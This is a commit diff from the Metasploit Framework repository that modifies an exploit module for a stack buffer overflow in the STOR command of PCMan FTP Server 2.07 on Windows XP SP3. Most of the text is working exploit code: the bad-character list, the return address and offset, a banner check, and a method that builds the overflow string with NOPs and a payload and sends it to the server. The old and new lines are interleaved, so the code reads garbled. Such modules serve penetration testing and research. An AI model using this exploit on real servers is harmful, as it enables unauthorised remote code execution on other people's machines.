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metasploit-framework
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added PCMan's FTP Server Crafted Multiple Command Handling Remote Buffer Overflow (OSVDB 94624)

bug/bundler_fix
Rick Flores (nanotechz9l) 2013-09-16 12:40:36 -07:00
parent 92cf886e49
commit 82e3910959
1 changed files with 17 additions and 17 deletions
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34
modules/exploits/windows/ftp/pcman_stor_msf.rb
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@ -11,10 +11,10 @@ class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking Rank = AverageRanking
include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Ftp
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'PCMAN FTP Server STOR Command Stack Buffer Overflow', 'Name' => 'PCMAN FTP Server STOR Command Stack Overflow',
'Description' => %q{ 'Description' => %q{
This module exploits a buffer overflow vulnerability This module exploits a buffer overflow vulnerability
found in the STOR command of the PCMAN FTP v2.07 Server found in the STOR command of the PCMAN FTP v2.07 Server
@ -22,14 +22,13 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => [ 'Author' => [
'Christian (Polunchis) Ramirez', # Initial Discovery 'Christian (Polunchis) Ramirez', # Initial Discovery
'Rick (nanotechz9l) Flores', # Metasploit Module 'Rick (nanotechz9l) Flores', # Metasploit Module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision: $', 'Version' => '$Revision: $',
'References' => 'References' =>
[ [
[ 'URL', 'http://osvdb.org/show/osvdb/94624'], [ 'URL', 'http://www.exploit-db.com/exploits/27703/' ],
[ 'EDB', 'http://www.exploit-db.com/exploits/27703/'],
], ],
'DefaultOptions' => 'DefaultOptions' =>
{ {
@ -37,27 +36,27 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Payload' => 'Payload' =>
{ {
'Space' => 1000, 'Space' => 1000,
'BadChars' => "\x00\xff\x0a\x0d\x20\x40", 'BadChars' => "\x00\xff\x0a\x0d\x20\x40",
}, },
'Platform' => 'win', 'Platform' => 'win',
'Targets' => 'Targets' =>
[ [
[ 'Windows XP SP3', [ 'Windows XP SP3',
{ {
'Ret' => 0x7C91FCD8, # jmp esp ret from kernel32.dll 'Ret' => 0x7C91FCD8, # jmp esp from kernel32.dll
'Offset' => 2002 'Offset' => 2002
} }
], ],
], ],
'DisclosureDate' => 'Jun 27 2013', 'DisclosureDate' => 'Jul 17 2011',
'DefaultTarget' => 0)) 'DefaultTarget' => 0))
end end
def check def check
connect connect
disconnect disconnect
if (banner =~ /220 PCMan's FTP Server 2\.0/) if (banner =~ /220 PCMan's FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable return Exploit::CheckCode::Vulnerable
end end
return Exploit::CheckCode::Safe return Exploit::CheckCode::Safe
@ -65,9 +64,10 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
connect_login connect_login
print_status("Trying victim #{target.name}...") print_status("Trying victim #{target.name}...")
sploit = "\x41" * target['Offset'] << [target.ret].pack('V') << make_nops(4) << payload.encoded sploit = "\x41" * 2002 + [target.ret].pack('V') + make_nops(4) + "\x83\xc4\x9c" + payload.encoded
sploit << rand_text_alpha(sploit.length) sploit << make_nops(4)
sploit << payload.encoded
send_cmd( ['STOR', '/../' + sploit], false ) send_cmd( ['STOR', '/../' + sploit], false )
handler handler
disconnect disconnect